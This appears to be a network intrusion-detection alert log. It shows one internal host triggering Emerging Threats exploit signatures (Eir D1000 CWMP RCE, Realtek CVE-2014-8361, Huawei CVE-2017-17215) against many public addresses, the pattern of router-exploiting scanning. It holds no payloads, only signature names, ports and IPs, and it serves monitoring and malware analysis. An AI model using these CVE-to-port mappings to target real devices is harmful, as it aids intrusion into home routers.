04/15/24-08:52:15.892222	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	59908	80	192.168.2.13	46.101.151.120
04/15/24-08:53:27.562569	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50270	7547	192.168.2.13	115.7.120.56
04/15/24-08:53:00.759630	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59226	7547	192.168.2.13	184.13.54.25
04/15/24-08:53:44.166294	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42992	7547	192.168.2.13	154.240.16.220
04/15/24-08:52:52.065926	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42312	7547	192.168.2.13	84.75.73.72
04/15/24-08:52:40.172957	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	49058	80	192.168.2.13	160.218.114.130
04/15/24-08:53:17.972634	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36606	7547	192.168.2.13	179.215.18.251
04/15/24-08:52:12.937415	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40212	7547	192.168.2.13	119.198.228.14
04/15/24-08:52:20.109784	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35398	7547	192.168.2.13	41.111.144.28
04/15/24-08:52:23.292107	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35226	80	192.168.2.13	34.252.174.62
04/15/24-08:53:21.568234	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36054	7547	192.168.2.13	115.3.91.2
04/15/24-08:52:49.440766	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41392	7547	192.168.2.13	121.166.94.196
04/15/24-08:53:53.715726	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42184	7547	192.168.2.13	163.191.63.110
04/15/24-08:53:10.881220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50484	52869	192.168.2.13	164.250.163.134
04/15/24-08:53:22.858058	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50790	7547	192.168.2.13	112.161.210.106
04/15/24-08:53:32.476951	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55252	7547	192.168.2.13	118.45.126.149
04/15/24-08:53:50.614763	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37650	80	192.168.2.13	66.22.57.83
04/15/24-08:53:48.246755	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43812	7547	192.168.2.13	190.194.123.239
04/15/24-08:52:30.247631	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53180	52869	192.168.2.13	194.195.254.132
04/15/24-08:52:55.714817	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43438	52869	192.168.2.13	61.147.115.54
04/15/24-08:53:56.780929	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45126	7547	192.168.2.13	121.238.181.123
04/15/24-08:52:44.128464	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34962	7547	192.168.2.13	37.106.53.141
04/15/24-08:53:49.802960	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41338	7547	192.168.2.13	216.118.152.111
04/15/24-08:53:16.677644	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	49376	80	192.168.2.13	178.239.112.106
04/15/24-08:53:32.506056	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42318	7547	192.168.2.13	47.157.67.30
04/15/24-08:53:41.710768	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	44592	80	192.168.2.13	157.7.177.76
04/15/24-08:53:56.133950	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33518	7547	192.168.2.13	37.78.64.182
04/15/24-08:53:32.700876	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47482	7547	192.168.2.13	107.147.202.121
04/15/24-08:53:21.788050	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47746	7547	192.168.2.13	59.147.122.56
04/15/24-08:52:23.292672	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56436	80	192.168.2.13	106.14.44.50
04/15/24-08:53:49.770465	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41024	7547	192.168.2.13	183.124.218.211
04/15/24-08:52:46.515193	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55110	52869	192.168.2.13	146.148.188.107
04/15/24-08:53:06.729595	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	44030	80	192.168.2.13	184.147.245.229
04/15/24-08:53:14.767174	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55988	7547	192.168.2.13	220.126.223.85
04/15/24-08:52:42.204802	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59240	7547	192.168.2.13	14.77.48.238
04/15/24-08:53:44.089295	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44394	37215	192.168.2.13	172.65.157.181
04/15/24-08:52:51.808572	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44686	7547	192.168.2.13	191.33.118.176
04/15/24-08:52:30.153976	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53188	7547	192.168.2.13	84.224.167.97
04/15/24-08:53:23.274190	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56826	7547	192.168.2.13	165.51.2.23
04/15/24-08:52:28.810706	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51632	80	192.168.2.13	77.81.232.33
04/15/24-08:52:30.507898	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53198	7547	192.168.2.13	84.224.167.97
04/15/24-08:53:57.239368	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38754	52869	192.168.2.13	178.135.107.248
04/15/24-08:52:58.867890	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38386	7547	192.168.2.13	1.1.157.49
04/15/24-08:53:31.968544	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43640	7547	192.168.2.13	67.251.149.88
04/15/24-08:53:58.312074	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40082	7547	192.168.2.13	174.100.141.119
04/15/24-08:52:55.714817	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43438	52869	192.168.2.13	61.147.115.54
04/15/24-08:52:23.328920	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	53126	80	192.168.2.13	96.17.253.183
04/15/24-08:53:28.933199	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50288	52869	192.168.2.13	164.250.240.184
04/15/24-08:53:50.967730	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55292	80	192.168.2.13	172.104.122.124
04/15/24-08:53:28.903887	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	44092	80	192.168.2.13	146.160.56.13
04/15/24-08:53:30.146250	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53100	52869	192.168.2.13	31.136.253.47
04/15/24-08:53:21.869787	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43214	80	192.168.2.13	38.59.3.154
04/15/24-08:52:57.063751	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52532	7547	192.168.2.13	125.157.112.139
04/15/24-08:53:08.836908	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45546	7547	192.168.2.13	115.0.63.35
04/15/24-08:52:44.838895	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42822	7547	192.168.2.13	37.16.13.15
04/15/24-08:52:26.767000	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41836	7547	192.168.2.13	121.180.182.81
04/15/24-08:53:21.883784	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52610	80	192.168.2.13	35.164.240.25
04/15/24-08:52:53.683968	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	33712	80	192.168.2.13	165.171.240.234
04/15/24-08:52:26.867186	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54680	7547	192.168.2.13	107.159.134.51
04/15/24-08:52:35.065409	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47906	7547	192.168.2.13	144.139.26.171
04/15/24-08:53:55.807413	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55610	80	192.168.2.13	34.120.172.84
04/15/24-08:53:19.251039	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55586	7547	192.168.2.13	152.171.203.31
04/15/24-08:52:21.132337	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48272	7547	192.168.2.13	37.140.76.86
04/15/24-08:52:58.801787	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35406	7547	192.168.2.13	222.103.251.25
04/15/24-08:52:20.773907	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42416	7547	192.168.2.13	45.159.142.87
04/15/24-08:52:22.984376	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46740	7547	192.168.2.13	175.249.156.218
04/15/24-08:52:44.543195	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52694	7547	192.168.2.13	99.236.113.223
04/15/24-08:52:57.921045	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51202	7547	192.168.2.13	99.255.65.96
04/15/24-08:53:01.929172	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53784	7547	192.168.2.13	65.31.156.182
04/15/24-08:52:57.782014	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39570	7547	192.168.2.13	97.108.31.16
04/15/24-08:53:56.072702	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53478	7547	192.168.2.13	181.231.135.246
04/15/24-08:52:13.229640	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34838	7547	192.168.2.13	175.235.238.192
04/15/24-08:52:31.962858	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47116	7547	192.168.2.13	95.29.33.22
04/15/24-08:53:08.954411	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44800	7547	192.168.2.13	216.212.46.35
04/15/24-08:52:28.066033	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41854	7547	192.168.2.13	121.180.182.81
04/15/24-08:52:46.515193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55110	52869	192.168.2.13	146.148.188.107
04/15/24-08:53:32.703336	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42658	7547	192.168.2.13	216.193.162.10
04/15/24-08:53:22.844805	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49072	7547	192.168.2.13	183.106.91.221
04/15/24-08:52:29.482888	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	38238	80	192.168.2.13	62.96.43.68
04/15/24-08:52:45.638675	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36816	7547	192.168.2.13	181.221.55.205
04/15/24-08:52:55.625918	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56946	7547	192.168.2.13	69.53.13.168
04/15/24-08:52:55.928863	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43190	7547	192.168.2.13	24.232.34.170
04/15/24-08:52:30.247631	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53180	52869	192.168.2.13	194.195.254.132
04/15/24-08:52:41.015563	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46326	7547	192.168.2.13	186.152.208.111
04/15/24-08:52:39.757171	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60640	7547	192.168.2.13	133.114.90.23
04/15/24-08:52:16.765083	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59992	7547	192.168.2.13	86.135.67.124
04/15/24-08:53:00.531220	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45602	7547	192.168.2.13	59.17.129.113
04/15/24-08:53:16.950546	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51950	80	192.168.2.13	18.166.160.29
04/15/24-08:52:41.892844	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58034	7547	192.168.2.13	74.136.192.98
04/15/24-08:53:56.730860	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52176	7547	192.168.2.13	181.208.224.85
04/15/24-08:52:30.836004	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48574	7547	192.168.2.13	186.210.44.124
04/15/24-08:53:41.671416	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	33084	80	192.168.2.13	198.82.152.65
04/15/24-08:52:39.631235	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43790	80	192.168.2.13	192.3.199.100
04/15/24-08:53:58.782682	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34380	7547	192.168.2.13	47.200.108.84
04/15/24-08:53:16.975797	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	38574	80	192.168.2.13	46.242.211.55
04/15/24-08:53:20.188641	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56782	52869	192.168.2.13	94.121.73.158
04/15/24-08:52:44.720930	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41332	7547	192.168.2.13	71.218.231.169
04/15/24-08:53:27.228963	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	49058	80	192.168.2.13	138.201.206.179
04/15/24-08:52:13.617441	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38724	52869	192.168.2.13	34.149.92.77
04/15/24-08:52:27.281251	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35706	7547	192.168.2.13	101.167.72.124
04/15/24-08:53:33.109332	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43118	7547	192.168.2.13	191.61.5.18
04/15/24-08:52:57.735093	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51568	7547	192.168.2.13	14.80.86.229
04/15/24-08:53:21.705697	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	42842	80	192.168.2.13	64.59.106.89
04/15/24-08:53:32.073613	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44232	7547	192.168.2.13	183.97.77.152
04/15/24-08:52:53.498406	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49638	7547	192.168.2.13	2.66.209.130
04/15/24-08:53:49.021376	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51802	7547	192.168.2.13	192.180.170.154
04/15/24-08:52:29.939922	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53148	52869	192.168.2.13	194.195.254.132
04/15/24-08:52:26.600381	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58440	7547	192.168.2.13	47.202.126.64
04/15/24-08:53:21.727049	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36448	80	192.168.2.13	169.255.31.244
04/15/24-08:53:59.381608	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60246	7547	192.168.2.13	190.124.179.18
04/15/24-08:52:52.097974	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49618	7547	192.168.2.13	2.66.209.130
04/15/24-08:52:30.152668	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55284	52869	192.168.2.13	160.141.49.1
04/15/24-08:52:40.432346	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51374	7547	192.168.2.13	147.192.6.14
04/15/24-08:52:56.119199	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56826	37215	192.168.2.13	94.121.24.152
04/15/24-08:53:56.784443	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59570	7547	192.168.2.13	221.151.234.184
04/15/24-08:52:51.008087	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47130	7547	192.168.2.13	220.120.242.86
04/15/24-08:53:05.480899	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57126	7547	192.168.2.13	176.45.162.209
04/15/24-08:52:34.602542	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56496	7547	192.168.2.13	200.114.231.19
04/15/24-08:52:40.762749	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43242	7547	192.168.2.13	211.225.254.112
04/15/24-08:53:28.722975	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50240	52869	192.168.2.13	164.250.240.184
04/15/24-08:53:42.982457	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33496	7547	192.168.2.13	99.237.109.14
04/15/24-08:53:10.760572	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52470	7547	192.168.2.13	86.177.99.207
04/15/24-08:53:29.332108	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	45480	80	192.168.2.13	39.136.154.133
04/15/24-08:53:29.181744	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	53782	80	192.168.2.13	27.236.80.3
04/15/24-08:53:24.872718	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45526	7547	192.168.2.13	211.38.92.211
04/15/24-08:53:41.716804	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	59642	80	192.168.2.13	210.154.238.159
04/15/24-08:52:13.930680	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33948	7547	192.168.2.13	109.159.93.250
04/15/24-08:53:57.136149	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	39490	80	192.168.2.13	163.152.208.183
04/15/24-08:52:44.384482	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34980	7547	192.168.2.13	37.106.53.141
04/15/24-08:52:52.222601	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33104	7547	192.168.2.13	197.101.0.167
04/15/24-08:52:31.164452	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48586	7547	192.168.2.13	186.210.44.124
04/15/24-08:52:31.312832	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36216	52869	192.168.2.13	94.121.129.98
04/15/24-08:52:52.706838	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33124	7547	192.168.2.13	197.101.0.167
04/15/24-08:53:53.926781	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42238	7547	192.168.2.13	163.191.63.110
04/15/24-08:53:30.185643	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	44776	80	192.168.2.13	218.157.238.106
04/15/24-08:53:34.950113	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43630	80	192.168.2.13	23.38.86.102
04/15/24-08:53:09.130544	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45558	7547	192.168.2.13	115.0.63.35
04/15/24-08:52:51.201031	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35316	7547	192.168.2.13	67.55.52.131
04/15/24-08:53:25.173562	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34296	7547	192.168.2.13	14.56.179.111
04/15/24-08:53:01.615874	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54320	7547	192.168.2.13	213.188.193.170
04/15/24-08:53:05.190011	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36004	7547	192.168.2.13	221.163.218.37
04/15/24-08:53:06.799742	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	40750	80	192.168.2.13	34.147.189.161
04/15/24-08:52:31.312832	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36216	52869	192.168.2.13	94.121.129.98
04/15/24-08:53:42.737113	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43344	80	192.168.2.13	44.214.104.226
04/15/24-08:52:44.445418	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55182	80	192.168.2.13	19.12.120.118
04/15/24-08:53:15.246502	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	40062	80	192.168.2.13	176.100.56.10
04/15/24-08:52:52.458391	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	48076	80	192.168.2.13	3.161.54.248
04/15/24-08:52:15.887453	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48228	7547	192.168.2.13	115.64.234.192
04/15/24-08:53:21.882135	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59810	7547	192.168.2.13	1.140.19.46
04/15/24-08:52:26.389735	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47628	7547	192.168.2.13	39.29.129.101
04/15/24-08:52:30.152668	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55284	52869	192.168.2.13	160.141.49.1
04/15/24-08:53:08.213639	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	38672	7547	192.168.2.13	94.96.105.173
04/15/24-08:53:49.923281	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43918	7547	192.168.2.13	49.207.178.58
04/15/24-08:52:15.620315	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	45602	80	192.168.2.13	18.141.62.54
04/15/24-08:52:19.685918	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34452	7547	192.168.2.13	174.110.101.224
04/15/24-08:53:32.348509	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42208	7547	192.168.2.13	47.157.67.30
04/15/24-08:52:13.621380	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33880	7547	192.168.2.13	109.159.93.250
04/15/24-08:53:51.009363	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55124	80	192.168.2.13	4.158.26.226
04/15/24-08:52:53.691488	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	55196	80	192.168.2.13	69.192.114.253
04/15/24-08:53:32.681658	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58252	7547	192.168.2.13	71.42.92.137
04/15/24-08:52:13.721900	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36814	7547	192.168.2.13	45.251.36.209
04/15/24-08:53:16.647213	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37452	80	192.168.2.13	34.120.237.67
04/15/24-08:52:21.233107	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52548	7547	192.168.2.13	72.95.90.135
04/15/24-08:53:32.848565	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44678	52869	192.168.2.13	178.135.97.217
04/15/24-08:53:18.293037	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36618	7547	192.168.2.13	179.215.18.251
04/15/24-08:53:46.465418	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56014	7547	192.168.2.13	184.176.27.110
04/15/24-08:53:03.112881	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56078	80	192.168.2.13	218.95.39.221
04/15/24-08:53:49.769767	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55104	7547	192.168.2.13	175.243.85.101
04/15/24-08:52:41.878266	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54320	7547	192.168.2.13	71.73.121.175
04/15/24-08:53:28.886842	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	39054	80	192.168.2.13	49.232.217.237
04/15/24-08:52:30.833443	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40256	7547	192.168.2.13	120.88.138.155
04/15/24-08:53:46.561144	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56748	7547	192.168.2.13	200.127.30.18
04/15/24-08:52:47.766092	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35922	80	192.168.2.13	89.161.183.219
04/15/24-08:53:28.567622	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	42308	80	192.168.2.13	154.95.231.35
04/15/24-08:53:28.933199	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50288	52869	192.168.2.13	164.250.240.184
04/15/24-08:53:31.065612	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36442	7547	192.168.2.13	72.208.51.177
04/15/24-08:53:59.244373	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39036	7547	192.168.2.13	86.85.144.217
04/15/24-08:52:16.155805	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49026	7547	192.168.2.13	112.181.57.251
04/15/24-08:53:35.065311	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56620	80	192.168.2.13	106.14.126.133
04/15/24-08:52:42.705329	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43162	7547	192.168.2.13	173.33.105.12
04/15/24-08:52:44.975218	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54546	7547	192.168.2.13	14.78.64.65
04/15/24-08:53:22.858761	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46068	7547	192.168.2.13	121.188.199.118
04/15/24-08:53:41.234113	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	49508	80	192.168.2.13	83.5.239.243
04/15/24-08:52:57.129181	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59324	7547	192.168.2.13	2.142.104.24
04/15/24-08:53:57.239368	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38754	52869	192.168.2.13	178.135.107.248
04/15/24-08:52:47.812523	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	48694	80	192.168.2.13	23.58.11.209
04/15/24-08:53:17.942756	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59264	7547	192.168.2.13	175.196.224.130
04/15/24-08:53:21.604761	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48424	7547	192.168.2.13	68.105.123.207
04/15/24-08:52:43.911341	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46628	80	192.168.2.13	79.47.127.86
04/15/24-08:53:01.028681	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50602	7547	192.168.2.13	37.105.162.108
04/15/24-08:53:46.519009	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52688	7547	192.168.2.13	186.7.123.8
04/15/24-08:52:39.843502	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	54896	80	192.168.2.13	97.107.137.55
04/15/24-08:53:22.855381	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44962	7547	192.168.2.13	118.52.71.152
04/15/24-08:52:35.381083	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47918	7547	192.168.2.13	144.139.26.171
04/15/24-08:53:56.754153	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60918	7547	192.168.2.13	190.33.243.128
04/15/24-08:52:41.300557	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42876	7547	192.168.2.13	92.45.162.26
04/15/24-08:52:19.982334	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56270	7547	192.168.2.13	75.165.150.113
